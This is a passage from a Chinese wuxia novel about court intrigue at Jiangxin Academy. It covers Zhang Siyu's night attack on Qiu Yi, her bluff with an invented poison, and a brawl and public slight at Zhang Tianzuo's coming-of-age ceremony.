张天作惊喜,却挽留道,“我既应了为姑娘抚琴一事,难道让我失言不成?”
楚英虽也盼着邱怡快些离去,但张天作言之在理,也跟声道,“对对对,姑娘,我只是看那张司宇不顺眼,你在此多留会儿倒也无妨。”
邱怡环视起屋内三位男子,“男女有别,我与诸君共处一室,终是不便。张公子及冠礼时不是还有一曲琴剑吗?到时我也能见到,能听到,怎会令公子失言?”
张天作颔首温笑,“恭敬不如从命。楚英,雅安,送邱姑娘回房。”
自邱怡来到这间屋内起,陈雅安的那双眼睛,就时刻盯着自己,生怕他察出什么端倪来,安全起见,口中还是婉拒道,“不必了。”又视着楚英说,“楚公子自打进了这屋子,眼珠子一刻也未离开过张公子,我怎可坏人好事。”说着,便起身向门外走去。
只听而后方传来楚英豁豁的声音,“谢了。”
邱怡才离开,楚英的话便如涛涛江河一般,不是牢骚张司宇目中无人,就是埋怨他一意孤行,总之,如今的白陵城里,都是他的走狗耳目。若不是碍着张天作面,怕是要将张司宇的祖宗们也皆数问候一遍。
这些,在日常往来的书信中,楚英皆有交代,但看到他手舞足蹈的气忿样,知昔年对自己谦谦而待的二哥,更严厉,也更刚愎了。
一度令张天作心中的暗气更盛更烈。
张司宇腹内亦是翻腾的无数蛇胆,而他却只能将一枚枚心酸苦涩生生咽下。这条路,是他自己选的,无论如何,都要铁着头走下去。
林兮亦读出张司宇心中有事,只随着他一道延径行进钟灵山,不说话,不出声,给予他稍稍的宁静。
张司宇终在半腰处的寒亭停住了脚步,嘴中竟念起《雨霖铃》,双目一直仰视着亭脚处垂下的一根枯枝,目色哀沉。随后,朗清的脸上浮现了一丝自嘲,“林兮,这首词是天作的意思吧?”
“是,天作说了个大概,让我按着他的意思写的。”林兮回道。
张司宇沉声道,“你知道他为何要写这首词吗?”
“是为新曲子填的词。”
张司宇顿了片刻,伤感道,“莫惧命,换了沧桑,并辔双星耀。”
说后,他啜了啜鼻息,话锋突转,“太子乃先皇后所出,你若想为凌御医昭雪,为父母沉冤,与同当朝太子为敌无异,江王与他斗了那么多年,都未将他拉下马来,可见单凭一个人的力量是远远不足的。”
林兮目光闪动,“原来你一早就知道我是谁了,那何必拐弯抹角貌,说什么邀我去著书这样的话?”
张司宇取出火捻,将词稿纸角
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轻点到红芯上,冷冽的空气中散出微微刺鼻的味道。
将手一松,一团红红的焰无声落在地面。
张司宇不慌不忙道,“书是要著的,旧案也是要翻的。如今我在白陵,不敢说是万人之上,但手中好歹有些权力,待局势再稳固些,我有信心,定可为令尊昭雪。林兮,你可愿随我去成就一番男儿功业吗?”
林兮眉睫一跳,“此言当真?你真能做到?”
张司宇目光沉沉,神情还是那么平静自若,“我从不夸海口。”
林兮心头不由大颤,茫茫人海,尘世瞬息万变,二人相遇已是幸事。林兮始终未料,出身高贵,脾性清傲的张司宇,竟对自己投来金石般的承诺。
“司宇兄,只要你能助我为父母脱离罪名,莫说什么著书立说,就是让我赴汤蹈火,都在所不辞。”
张司宇摁住林兮肩头,“很好,记住,只有手中有了绝对的权力,你说出的话,才有人听,才有人从。你按我说的做,待到白陵后,我为你说定一门好的亲事,日后扶摇,做上一军统率,也不是难事。”
林兮神色突异,整个人都整愣住了。邱怡虽未生得上天见顾的容貌,虽未生在手握高权的门第,但她的端庄素雅,她的书生气华,不知要比其他女子珍贵几许。
初遇时海棠花雨中飘飘如飞的遗世少女,许心时中秋月下娉婷温柔的清冷孤人,早已成为他心中如月光般美好皎洁的回忆。
他心头一凛,暗咬住牙槽,硬硬从齿间磨出句,“此去白陵,我是想带上邱怡同行的。”
张司宇沉下眉梢,“就是刚才那位傍若无人的姑娘吗?”
林兮道,“邱姑娘是我在清农时的同窗,她自幼隐居于山野,又身纤体弱,故而少与人接触,疏于人情世故。”
张司宇深深看了林兮一眼,白陵十万人马的节调之权仍在姚远舟手中,有了他的忠心协作,便是没有兵符,也可将白陵的营权兵马牢牢握在手中。
可惜,无论是他,还是他两个居任副将的儿子,摆出的都是一副不从不拒的态度,令张司宇杀用两难。故此,才想要林兮与姚远舟的女儿结亲,以便将林兮安插入军中。
“我为你安排的亲事,可是旁人求都求不来的。你可想清楚了?”
林兮旦旦应道,“心如匪石,不可转也。”
张司宇触动,曾经,伯父也有意让他娶姚远舟的女儿,他同样是以这样一句话回复的,才引得伯父盛怒,将他发配到极遥镇的兵营,让他认清,若无旁助,一点点摸爬滚打是件多么费力又无用的事。
张司宇视着林兮,像极曾天真的自己,当年若肯松口答允这门婚事,今日的他又何须苦苦拉拢姚远舟?
盯着与自己如出一辙的人,张司宇再度问了句,“你当真想清楚了?”
冷风横扫,雪粒簌簌落下,山间很快铺上了一片白。
林兮坚定不移道,“司宇兄,我不想做违心的事。何况,我早已答允过邱怡,要带着她去白陵定居。”
“君子有诺,言必行之,我不勉强你就是了。”张司宇当即回道,目光却极其漠然。
48. 针心细女
张司宇转身抖拂着衣衫落雪,极目遥望。
“林兮,你我初遇时,我便确信,这世间只要有你一人懂我,我活得就还有些意义。”余光扫过浮雪间的纸烬,又道,“今日,我更确定了。”
张司宇爱才亦惜才,才想为林兮平铺一条扶摇而上的康庄大路,而不是像他这般,每一步都是在用声名下注,用生命豪赌,步履维艰。
还好,六皇子赠的那口破魂,令本天骨出类的他早早完成人生的突破,将昔日压在他身背的重重大山踩在脚下,牢牢握在自己的手里。
暮色渐沉,雪越下越大,满山间只剩下轻纱摩挲似的细碎声响。林兮送张司宇回到客舍,门一闭,外间嘎吱嘎吱的脚步声渐消。
张司宇眸底顿亮,面色较之冰雪更为冷寒。
月光之下,突然从张司宇房里闪出一条银影,银白身影又一闪,便到了邱怡房外,结了银霜的青砖面未留下一道痕印。
梦寐中,喉咙忽被钳紧。
邱怡猛然惊醒,抬起眼皮,看到正有人掐在自己咽喉,如行刑判官般俯视来,目光尽是冷漠与睥视。
此刻,他眼中的邱怡,无非是砧板上的一条鱼,指节只消再稍稍加力,这活灵一命就将永远在这世间消失了。
邱怡惺眼辨着偷袭之人,呓语道,“二……张司宇?”
张司宇无惧邱怡认出自己,毕竟所有见过他出手的人,皆毙命了,故而,无论过去了结过多少性命,都不曾掩面。
对那些逝去的生命,他亦从无悔愧,因为,他杀的每个人,都是阻他成为白陵城霸主的障碍,“为了白陵的将来,你必须得死。”
他漆黑的眼眸宛如两个幽黑的空洞,对邱怡透露着尖锐与麻木,仿佛她是一个罪无可赦的祸害。
邱怡登时不安地“咯噔”了下,好像走在悬崖突然一脚踩空,双手本能地抓住张司宇掐在喉间的手,论是如何掰拽挣扎,那只硬硬的手,都将她抓得纹丝不动。
随着挣扎,喉间掌劲更加足了,呼吸亦愈加艰难,任自己再是徒力挣扎,也发不出一丝声。
一时间,邱怡心中充满了恐惧,难道二哥在那首《雨霖铃》中,识出了自己的文风?那也不该,识出又如何?他应还不知我是小乐女儿的事……
幸好,她并没有被恐惧征服,松放左手,中食两指并拢,竭力靠向张司宇腕心。
张司宇腕间一刺,本能张开了手。心想,这妮子藏了功夫在身上。
恍身际,张司宇手背筋处又是一痛,适才被他控于床际的女子瞬地跳去床外。
张司宇寻声回头,沉沉目色中,散着无尽杀意,右掌如风行电掣般拍到。
猛掌未来,迅风先至,邱怡竟不自避,转而送出一串名为“九蛇连环”的探花手,往他手腕处脉穴击去。张司宇亦不容她缓势脱身,邱怡每每疾抓,他都以铁手硬刚,震得邱怡指节剧烈麻痛。
邱怡知张司宇绝非虚名,手指巨痛之极,再度使出探花截梅手,左腕阴手旋转,以一道怪异力道拿住张司宇右腕。
探花截梅手是云间医者为在悬崖峭间摘取花草所用的功夫,论掌力难及回龙功,但九路功法,四路擒拿,五路抓爪,无论截梅手还是探花手,都是极尽精妙巧劲儿,玄心奥义诀内功修为越高,探花截梅手功效越大。
然而邱怡学此门功夫尚浅,用不出几十年的内力修为,只是她将其融进经穴学理,每次出手都专攻人身要穴,才暂以巧劲儿应对回龙功蛮力。
张司宇腰带间一闪白光,一把软剑立向邱怡肩头而去。
邱怡见他来势汹汹,随手抓起一茶碗,投向张司宇右肘曲池合穴。哪料张司宇竟然不理,长剑直削来,人即被张司宇的软剑缠住,
若仍以探花截梅手迎战,不过十招,必丧于张司宇剑下。在那一瞬间,邱怡脑中闪过很多片段,想着要不要赌一把。
她在犹豫要不要亮出底牌,可无论张家剑法还是回龙功,一旦在张司宇面前使了,必会引起怀疑,若不能一击击退,便在此交代了。
她急忙退步,身形晃动间,将一颗小药丸送入口中。说道,“张司宇,我与你往日无冤,近日无仇,为何要置我于死地?”
“今在江心学宫遇到我,便是你生平最大的不幸。”
邱怡假作平静,高举微微发抖的双手,“我自认不是你的对手,能不能给我留份体面。”
张司宇问道,“你有何遗言要说与林兮?”
张司宇虽放下了剑,但邱怡心仍怦怦跳,伺机步到桌边,翻过只茶碗,提起壶缓缓倒入满满一碗水,心才算稍稍踏实。
她快手一翻,捏着一方药包悬在水面上,转又道,“闭灵镇魂散,遇水即化,便是武功再高的人,都挡不住。不知是你的剑快,还是这药效发的快?适才我已服过解药了,你不必担心我。”
猝不及防间,张司宇有种被算计玩弄的恶感,在白陵城说风为风,说雨为雨的他,竟一时不慎,被邱怡算计到。
只听这位手持闭灵镇魂散的姑娘又悠悠道,“我听出来了,你要杀我,是为林兮。咱俩谈谈,也许谈完,你就不那么想杀我了。”
张司宇直言道,“在白陵,正有一条锦绣之路等着林兮,可他偏偏想带着你去到白陵,你说,你该不该死?”
“这就是你要杀我的理由?”
邱怡嘴上虽问得很理直气壮,但心底却更加踏实,张司宇并未识出自己身份,将有转机。
张司宇不置可否,“或许林兮还不理解,但这都是暂时的。今后,他会感激我的。”
邱怡无奈叹声,“是,你杀了我,林兮也奈何你不得。”转而,用着一股颇有威胁的语气道,“但是,现下,我正在为小次山梁掌门的夫人治病,如果我没有如期回到小次山,你觉得梁功长梁掌门会如何看你?”
这话激得张司宇短瞬间,又腾出另一股不快,他沉甸甸的一颗心中,已然对邱怡生出了真正的厌恶,“他是他,我是我。”
邱怡借机讽道,“你一点父辈的风范都没有。”
张司宇心头迸发出的不满,如同欲爆裂的岩浆,“父辈?我哪里有过什么父亲?”
邱怡用着一种耻弄又意味的语气说道,“我是说素衣剑仙。他豪
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闯十数年,人人道的都是他的侠风义举,还从没听人说他冤杀过一人,更未听说过,他自恃武功高强,为难过女流之辈。”
邱怡扫过的目光满是不屑,更令张司宇觉着不自在。
可他那股噁心与犯呕的不适,却随着邱怡提到素衣剑仙的名讳稍稍避散,松口说道,“我要杀的,都是挡我路的人。如果你不去白陵挡我的路,我可以饶你性命,最起码,在林兮与姚十一成亲前,你不能出现在白陵。”
邱怡揪着的心缓缓落定,“如果林兮点头同意这桩婚事,怕也劳烦不到白陵的战神上将亲自出面杀人了。”
张司宇眉头微微皱起,几乎没有一丝温和的表情,“你只需知道,与姚十一结亲可为他带来的好处,远比娶那些无家门权势的女子要多得多。”
“你自己怎不去结?”邱怡辩道。
张司宇似是被邱怡窥见着藏在心里的憾事,嘴角极不自然地咧了起来,“不需要你来操心。”
“我答应你,但并非是因你的胁迫。”
张司宇漠漠回道。“我只看结果。”
“张司宇,你听我说完。”邱怡追着声道,“林兮心肠仁善,白陵绝非他的乐土天堂。不管你是真心扶持他,还是有意利用他,我希望,在你想着自己大业时,亦能想着留他一条性命。”
张司宇向着眼前这位清农医堂来的姑娘如长辈的语气,只道,“我白陵张家从不跟清农的人打交道,自然也不会跟你们谈条件。”
邱怡摇了摇手中的药包,“你想清楚,现在是闭灵镇魂散在跟你谈条件。”
张司宇仿佛是被警摄住了,让步道,“只要你不去白陵搅乱他与姚十一的婚事,他娶了姚都督的女儿,谁人还敢动他?”
邱怡将别在指间的药包轻悬于茶水上,“我只求安命,林兮娶谁,姚十一嫁谁,与我无关。”
邱怡,在他眼中如草芥般,张司宇傲瞰下视,恐吓道,“你若食言,就休怪我翻脸无情了。”说罢,便转身离去。
邱怡追声问道,“你就不关心关心梁掌门吗?”
张司宇头也不回,就如未听到一般。
恨意再度决堤。
张司宇明明去了良久,可邱怡仍能觉着张司宇的那只手还在,不时撕扯着自己心中的裂口,即将愈合,又裂开新的口子,感觉自己已快无法承受。
掌心冷汗早已浸湿手中空空的药包,心中余悸不绝,此前一直在小次山为梁夫人诊治施针,几刻得来功夫再制出闭灵镇魂散?
她心中不住问着自己,如果今日握在手中的是一包货真价实的闭灵镇魂散,会怎么做?
张司宇亦如他所说,只看结果。
虽然邱怡字字如针锥,几欲刺破他内心几处仅存的柔软,被父亲毫无由说丢在白陵的旧恨,被伯父铁面坚心丢去极遥军营的旧恨,都是他的不敢直面的旧忆。
当他决心成为取代伯父时,已是一位不再有回头路的只影人了。
雪净夜肃的一宿后,江心学宫漫山遍野披上了一层白白的绒毯,慵懒的阳光透着苍白,洒落在雪层之上,泛出耀眼的光芒。
49. 一堂皆醒
江心学宫大殿之上,城阳公主高座正中,大首座赵道人正诵念着应届结业门人名讳,一一为他们授结业衣簪。
轩辕夏亦在台下期待着田雨萝的授衣仪式,他虽是与邱怡一同到的江心学宫,但碍于田雨萝的醋意,二人到江心学宫后便分头行动,即使照了面,也假作互不认得。
当轮到张天作时,赵道人苍劲一声,“有请白陵城张司宇为张天作行及冠礼。”
张司宇行到张天作身前,手中奉着一顶蓝田和合冠。
此发冠由蓝田玉雕成,左右刻有流云纹样间,隐有荷花之态。
张天作细细瞧看,这两朵花实为一株并蒂莲,左右莲茎延向冠中,交织为一。冠钗亦是龙游之态,二睛处嵌着两颗闪耀的雪色晶石。
张天作似乎感受到眼前人鲜露的情意,玉泽润面上,疑似闪出几颗莹泪,“二哥。”
张司宇道,“我们张家的孩子,皆是人中之龙。二哥愿你这条真龙,永远活在阳光下。”又冲着泪花即将夺眶的弟弟,敛色肃声道,“当着这么多人面,不许哭鼻。”
张天作本能地吸了吸鼻,收住眼泪。
林兮下台后,逆着人涌向邱怡,乌秀的长发间梳着细细轻辫,耳侧各缠环一条碧色绿丝,发处的那根银钗,还是那般沉静,林兮有时就希望自己可以像那根珠钗,可以时时伴她左右。
她神情格外专注,不错睛地注视着台上的二位兄长,昨夜插曲,仍沉浸心头。
林兮哪知,此刻正情深意重的张司宇,昨晚却是用着一种极度漠视的姿态,要将邱怡置于死地。
林兮靠向邱怡身边,“邱怡,我结业了。”
邱怡回之一笑,“你是将随张司宇回白陵令吗?”
林兮点着头,“我已经答应他了,他也答应我,要为我父母的死查明真相。”
邱怡轻声贺道,“鹏北海,凤朝阳。又携书剑路茫茫。【1】”
林兮本想接句什么,但看邱怡又不错目地朝台上盯去,神色忡忡。
此时正见张天作已持剑在台,对向竞仙琴。
张天作玉腕一带,剑指屋顶,先是一式“墨白问日”向众人致意。
银光闪烁的剑尖在空中划过一道优雅的弧线,随着一声剑鸣,琴弦被掠过的剑气拨挑而动,振发清音。
如水般流畅的剑法,在一众注目下闪着耀眼的光芒,道道无形的剑气扫过竞仙琴,五弦仿佛被双看不见的手不时轻拢慢捻,连抹复挑,琴音如幽谷空灵响起,清澈明净,宁心静神,自然天成。
昨日的随笔一书《雨霖铃》,其笔笔凌风,婀娜灵韵。今日的琴音,更是与剑法融合得极为巧妙,邱怡顾盼的眼神中,仿佛出现了一群飞仙在空中翩翩遨游。每声如珠落玉盘的音色下,都伴着袭袭的衣袖,随着乐点,在天地间翻飞漫舞。
张天作出剑放剑的游龙光影中,似是藏有惊鸿,几乎令人忘却呼吸。惹得人不知是该惊叹其剑法之高,还是赏悦其琴音之灵,抑或盛赞其心思之妙,竟以一己之力,将琴音、剑招融得有为一体,似乎离了张天作手中的剑,琴就再生不出如此灵巧妙音,失了这张琴,剑便舞不出如此天工的招式。
如痴如醉的曲乐中忽地夹出一道异声,仿似虫鸣,张天作急聚心神,按着原有节奏连点剑叶。
哪料,那虫鸣声叫得渐渐急促,像是故意搅进琴乐里戏弄一般。
“看!那有人在使坏呢。”邱怡说话间,戳了戳林兮,指向两排人前一暗色衣衫的汉子。
林兮瞧去,果见一汉子正挑逗着掌心两只小黑虫,“那是楚建,是段师伯的徒弟。”
邱怡说道,“他似乎不太想看到张公子出风头。”
典仪台上精武门诸位座师皆觉异样,张天作也有察到,但他一曲琴剑未毕,只得自顾心神,保持心中空明,继续演奏琴剑。
张司宇手执一扇,边慢摇纸扇,边聆听张天作的琴音,目光凝思扇面上玉立的荷花,可余光却片刻未离楚建,如果不是担心一旦出手,不免会影响张天作的节奏,怕他早有所行动了。
林兮随邱怡快步上前,用剑柄抵向楚建胸前。
而邱怡更是迅即,走到楚建身后一下捏来小虫,不及楚建反应,就送进他口中,而后强行捏着他的下颌,迫他咽下。
楚建正要做噁,却觉腕处又横来一道怪力,任怎么挣也脱不开,回头查望,竟是斜后方女子所为。
邱怡威声逼迫道,“你最好别出声,敢再动一下,就将你的手断了。”
楚建并未觉着这女子手劲儿有多么的足,但三指却摁得极为巧妙,将自己的手筋儿全然锁住,力道也被皆数没收。
楚建一时不敢再言,脸却沉得仿是吃了鳖似的。
张司宇远远瞧着,直觉此女不仅机敏嘴利,用探花手不声不响地制住楚建也正恰到好处。
林兮双目也是怔住了,问道,“你懂武功的?”
“探花截梅手。”邱怡回道。
林兮豁然大悟,邱怡既已学了清农医术,自然是练过探花截梅手和玄心奥义诀,再不是此前身躯无力的病娇女子。
待张天作表奏完一曲琴剑,林兮才收回手中的剑,可邱怡仍恐楚建再出妖乱,并未松手。
楚建见她久不放手,眯着眼道,“姑娘,既然这般不舍得放开我,不然将我带到你房中,切磋切磋。”
听闻楚建轻佻之言,林兮眼里愠色渐浓,却听邱怡还是那般闲淡道,“好啊。”
邱怡虽明男女不私相授受,却不知男女缘何不私相授受。父亲丧逝后,便孤身漂泊,无人教识男女之事,不懂楚建言辞间的放肆与侮辱,还真当楚建是要与自己切磋功夫。
“好什么好!”林兮斥道。
邱怡以为林兮是在担心自己,正欲说“无妨”。
“我不惧他”四字还未出口,又被林兮拦住,“无什么妨”,说着林兮还一掌拍去,打开二人正相接触的两手,忙将邱怡护在身后。
“讨没趣儿是不是?”楚建喝声向林兮,“这姑娘都答应跟我走了,你算是什么东西?”
这时,张司宇带着张天作等人,也不声不响站在不远处。
张天作知道楚建适才捣乱,是冲着自己与楚英来的,本欲和楚英一同出面。却被张司宇拦下,他也好奇,这位女孩身上
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带了多少功夫,昨夜危机不敌的瞬息,还能冷静想出应对之策。
楚建是南越君侯楚常次子,按理算是楚英的堂兄。今日见楚英在,他才临场想出利用虫鸣乱张天作琴剑的主意来,是为激将,为的是让莽撞的楚英出手破坏张天作的琴剑演艺。
至于楚建与楚英的过节,还要从父辈讲起。
楚英的父亲楚堂与陵侯张鸢有着八拜之交,在陵侯夫人身怀六甲时,二人便立下了指腹为婚之约,结为姻亲。张鸢还承诺,潘氏所生若为男,不仅要与楚英结为兄弟,便是今后家中兄弟有女,也将嫁与楚英为妻。
楚常得知楚堂与张鸢情谊匪浅,本就怕南越世子位旁落,又闻得张鸢已立女为嗣,更知楚英前程如锦。
一不做、二不休,将一杯金屑酒喂给楚堂,其后又派人除去楚堂遗孤。
楚常派出的毕竟是江湖中人,那伙人中,多对有着素衣剑仙之名的白陵君侯颇为忌惮,其中有一人轻功绝顶,其妻又为江湖人不容,一转念间,索性倒戈,护送楚英去了白陵,以求庇护其妻。
而后,南越楚家的人虽不好再将楚英怎样,但一想到楚英将娶的人,是白陵少主,是未来的白陵君侯。不出意外,楚英与其生下的孩子,也将成为白陵城的继承人,更不是滋味。所以再见楚英时,自是又羡又妒。
楚英暗愤,决定无论张司宇如何阻拦,他都要上前教训一番楚建。
“你又算什么东西?”楚英还未发言,却听人群另侧传出一男声来,口中喊的正是自己想说出的话。
楚建瞧见人群中走来一彪身壮汉,窄袖骑装,英挺洒气。虽不认得,但那人身后跟行的紫衣女子,他却知道,正是开物门的田雨萝。
张司宇远瞧去,低声道,“哈,阿夏也在啊。”
张天作瞥着陈雅安递出眼色,验证着二人此前的猜测。
楚建还当那跟在田雨萝身旁的彪身汉子是普通人,报出家门试图吓退他,“在下南越楚氏,楚建。”
轩辕夏蔑声笑道,“原是个人,果真算不得什么东西。”
邱怡知轩辕夏功夫过人,楚建哪会是他的对手?又记田雨萝善妒,故而只在林兮身后无声看戏,以免再生差池。
“今日,这位姑娘已答允过我了,你若也想与她切磋,等改日吧。”楚建海口道,不时向邱怡魅魅眯眼。
“放屁!”轩辕夏破口道,“她答应你什么了?”
楚建勾笑道,“自然去她房内切磋功夫啊。”接而又讽笑开。
话音才落,屋内嘲笑乍起。邱怡听到这甚是讽刺的笑声,看满堂众人都向自己投来各式各样嘲弄的眼神,好像一锋锋刀片划着脸颊。
又轻飘飘瞄了一眼高位之上的城阳公主,也正用一股满是优越的神色审视自己,觉出于房内切磋功夫另有他意,才惹出这般笑话。
邱怡心中羞愧至极,好像大家在讨论一件人尽皆知的事,都故意瞒着不告诉自己,心道,还不如方才直接将楚建的手折断算了。
霎那间,她心中想极了父亲,他若在,自不会再有这些尴尬与哑谜了。只得委屈地望了望轩辕夏,又看了看林兮。
50. 唯我独眠
田雨萝走向邱怡身侧,轻拍着她的肩膀,向轩辕夏命令道,“阿夏!好好教训那狂徒!”邱怡的头微微向田雨萝怀中移了移,才感受些许补偿。
站在邱怡正后方的张司宇,面色如湖,他想起林兮曾提过邱怡少与人接触,疏于人情,竟不想竟此般率真性子。又想起昨日邱怡既已明言自己不会去白陵,亦是真心话语,渐渐放了杀戒之心。
张天作亦毫无笑意,尤其是看到邱怡委屈巴巴的模样,更有甚心疼,侧向楚英吩咐道,“楚英,去将林兮他们叫过来,说本公子要宴请他与邱姑娘。”
轩辕夏早已护上前去,摩拳擦掌,霸气道,“她只跟小爷学了几路擒拿功夫,还没练到家呢。想切磋是吧?我来陪你玩玩。”说着,手做爪状,铺开探花截梅手“追星赶月”的架势。
“且慢。”楚英声随人至。“林兮,邱姑娘,天作命我来邀你二人赴宴。”
楚建轻扫一眼,“我当是谁,原是白陵赘婿。”
楚英弹掸耳唇,似笑非笑的眸子瞥了楚建一眼,“看到南越的人,险些触景生情了,可惜你就占了俩字儿。”
邱怡捋着是哪两个字,不自觉拼出“触”、“生”,心中扑哧一笑。原本紧张得准备看出好戏的众人,也咯咯笑了出来。
“你有什么可得意的?还真当自己是婿,连孩子都得随娘们儿的姓,不过是张少主养的一条哈巴狗。”楚建又道。
楚英却满不在乎道,“这么大一坨屎摆眼前,你说什么狗见了不开心?”又对轩辕夏道,“小兄弟,我知道你仗义,这人是南越城的望族,他是冲我来的,你就别跟着挨上晦气了。”
轩辕夏故意扯开嗓门,提了提音量,“啊?望族来的呀?小爷平生最大的遗憾,就是没见着望族挨打的模样。”
楚英洋洋道,“你要是生在我天作之合馆,什么样的打都见的着。”
轩辕夏说道,“我听说,白陵少主之所以坐上少主之位,就是因为把举国望族的子弟都揍了一遍?真有这样的事吗?”
楚英摩擦着拳掌,玩笑道,“胡说八道,大邺共就八门望族,少主当年只打过七家而已。”
说着,轩辕夏站到楚英前方约莫一个身位,“哦,原来殴打望族子弟还有这样的好处?这机会你可不许跟我抢。”
楚英指了指身后的张天作与陈雅安,向轩辕夏道,“不抢不抢,哥几个帮你压场子。”
楚建手举双刺,可彪身的轩辕夏却赤手空拳,未展露任何兵刃,狂意暗喜提着双刺向他而去。
却见轩辕夏右腕转个小圈,只听叮当两响,一双大手便轻松将双刺收了去。
轩辕夏甩手将刺一抛,楚建只觉他一双杏圆眼正勾勾盯着自己,好像自己无论走何样的路数,都难逃过他那双灵巧的手。
轩辕夏使的是探花截梅手的擒拿法,用于攀越悬山峭崖,双手抓的是既快又准,武斗时不仅可赤手夺兵,对上空手近搏更是变化无穷。
忽地,臂间又缠来三指,随着轩辕夏大拇指和中食指收拢,顺手一带,枉楚建七尺男儿身,整条右臂都像是被铁圈箍住一般,任由轩辕夏抡起,从他肩头翻过。
咚的一声,人被生生摔在地上。
楚建恼羞怒极,“师兄弟们,给我拿下那小子。”
楚建的师父段千秋是南越君侯楚常的幕僚,又凭着其父与主管江心学宫的城阳公主交情匪浅,早已在精武门过惯作威作福的日子了。
一声喝下,身旁五人像是接到讯号似的举手兵刃,对着道道白光,轩辕夏截梅手连连抓去,以一招“南枝易数”,随抓随抛,叮当声接连响起。
楚英心赞这位壮身的汉子身手好的惊人,那群人一起也不是这人的对手,念着想可否把他收入神枢营。
轩辕夏忽刹得意间,身后一股劲风,余目回望,段千秋如呼雷般的拳头,正向他背后击来。
按理段千秋身为一代座师,对着后学晚辈,本不该做与他身份如此不相称的事。但见这不知天高地厚的小子如此狂骁,也顾不得许多。
张司宇知他要下狠手,当瞬将春和扇插入腰侧,抢步上前,纵身一挡,全身跃空,以一掌“御天长浩”出迎。
段千秋虽能一拳打伤这位不知名的壮小伙,但张司宇破空而来的猛掌绝是霸狠无常,无奈拳向急转,与张司宇掌心交汇一处,段千秋身不摇,脚不幌,硬吃下张司宇一掌。
张司宇虽腾跃半空,无处借力,但他的掌是自段千秋顶处而下,掌中钧力全然聚进段千秋的奔雷拳中。惹得段千秋胸口憋得隐隐作疼,紧闭口唇,暗催内力,以求疏通胸口凝滞。
邱怡猛然后怕,昨夜张司宇若是直接用这掌招呼自己,凭探花手再多精巧劲儿,也只得落得个小命难保。心中叹出,“好雄厚的内力。”
张司宇见段千秋闷不出声,又以其手做支撑,后身翻周,再送出一掌。段千秋暗叹其力道着实猛烈,震得自己虎口迸裂,鲜血直流,不得后摆几步,紧捂心口。
而张司宇却如无事人一般落地。“段千秋,枉你也是一代宗师,怎这般以大欺小?”
段千秋胸口滞气初通,猛吐一口红红鲜血,嘴唇正抽动际。
“住手。”城阳公主起身,莲步轻移,一袭朱衣华服饶是惹目。
张司宇拜身一礼,“公主殿下。”
段千秋等随即参拜。
“阿夏,今日本宫算是开眼了,为何朱阳王叔素来担心你在外惹事。”城阳公主樱唇轻启,转又轻步踱向邱怡,娥眉淡扫,用着副高高在上的口吻道,“她就是你时常提到的田女侠吗?”
邱怡半垂眼帘,噤声不语。
城阳公主见邱怡纹丝不动,呵气如兰,“田女侠便是出身江湖,阿夏也该教过你礼数才是,见了本宫为何不跪?”
邱怡抬头看去,无奈忍下,“见过城阳公主。”
城阳公主的目光,犹如电光穿透薄雾,朝邱怡看去。
“大姐,她不是田姑娘,是邱姑娘。”轩辕夏解释道。
城阳公主眉梢和眼角都带着鄙夷,“哪里来的姑娘,都该识得尊卑与礼仪。”
田雨萝愤地想冲上前说些什么,却觉身体被一双软手拦阻。
但见邱怡缓步上前,双膝扣地,身正礼拜道,“民女邱怡见过公主殿下,公主千岁。”
城阳公主轻嗤一气,“算你还得几分教养。听着,朱阳王府不比江湖,你既随了我王弟,今后当知何为妇德,何为妇守,断不可在人前再惹出如此贻笑之事,落人口实。”
邱怡忍忍不语,贴在地面的双膝更像着了针毡般,毕竟从小到大,除了在宗祠内对着张家列祖列宗罚跪外,她只为两人屈过膝,一为君,一为父。
见城阳公主的目光已从自己身上移去,她才站了起来,看着那身华贵的朱影,换在以往,这位公主殿下对着自己,有的只是数不尽的恭敬与笑颜。
这时,城阳公主已移步到段千秋身前,呵斥道,“段千秋,这位是本宫朱阳王叔的独子,轩辕夏。”
段千秋恭敬道,“公主殿下恕罪,在下有眼不识。楚建,去同世子爷赔个不是。”
公主和师父一齐发话,楚建不得不从,向轩辕夏深打一恭,“朱阳世子,在下失礼了。”
城阳公主声线刻薄道,“念你二人今日是初犯,楚建,即日起逐出江心,永不录用。段千秋,往后三年,本宫禁你在江心再收弟子,以观后效。”随之,用着一股空灵的语气,向楚英道,“楚公子,你可还有什么要补充的?”
楚英摊了摊手,扶起还跪身在地的邱怡,“公主殿下怕是搞错了,受委屈的人不是我,是这位邱姑娘。”
城阳公主眼神闪烁,“江湖女子果是别有风情,就是不知白陵少主见了此场景,作何感想,有没有容人的雅量。”<
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p>邱怡听了,更是大大不悦。若真同你一般见识,去计较这一跪拜,才是有失身份,你竟还当我是什么江湖女子,还,还别有风情……我呸!
她越想越难咽下,终于忍不住道,“小女子少泊江湖,自知身如轻末浮萍,哪里劳得公主费心。”
张天作上前道,“公主殿下,江湖事江湖了,何以劳动公主大驾。”
城阳公主看着一朗玉映人的男子跟在张天作身后,连眉带眼都跟着柔了下来,“张三公子,适才本宫听闻意邀这位姑娘赴宴?怎么,难道本宫在你眼中,连一江湖女子都不如吗?”
张天作一愣,温温开口道,“三叔确备了几分薄酒,若公主殿下与朱阳世子不弃,还请贵步移驾。”
“如此甚好。”城阳公主高高一声,眉眼瞟落向陈雅安,“待本宫先行更衣。”
在侍女的拥簇中,城阳公主缓行离去。
“邱姑娘,莫与鼠辈一般见识。”张天作宽慰道。
邱怡回以一笑,“这般容人之量,我还是有的。”说罢,双手齐眉,向张天作恭贺道,“还没恭祝张三公子成人及冠。”
张天作温温颔首,继续暖言道,“我知姑娘人大量大,适才你为我解难,我全数看在眼里,待会儿我定要好好敬你一杯。”
邱怡怏怏道,“张公子若真有心与楚建难堪,何须等到我与林兮去拦下他?盛情相邀却之不恭。可,小女子自知身份低微,恐失仪于公主驾前,还请张公子体恤。”
看着邱怡落寞离去的背影,轩辕夏顿默,脚底生风,连窜再跑追了出去,喊下邱怡。
“邱姐。”
邱怡定身回望,挑着副讽刺口吻侃道,“朱阳世子,有何指教?”
轩辕夏呵呵干笑着,“我娘不喜欢自持身份,尤其是离开凤临,认识我的本就不多,她说换个名字,我的生活会更自在些。你可不许跟我生这闷气啊。”
邱怡不以为然,“怎会?各有所隐,各有所忌,你说你是谁,我便认你是谁。”
轩辕夏双手叠抱胸前,“小弟轩辕夏,又是夏小五,见过邱姐。”
邱怡说道,“小五,我没有气你。只是不想人觉得,我与你相交,是图你的家门声名。”
轩辕夏脸上洋溢着清爽的笑意,亮出两颗小虎牙,“这我还能不知道吗?我大姐胡乱说的,你别理她。”
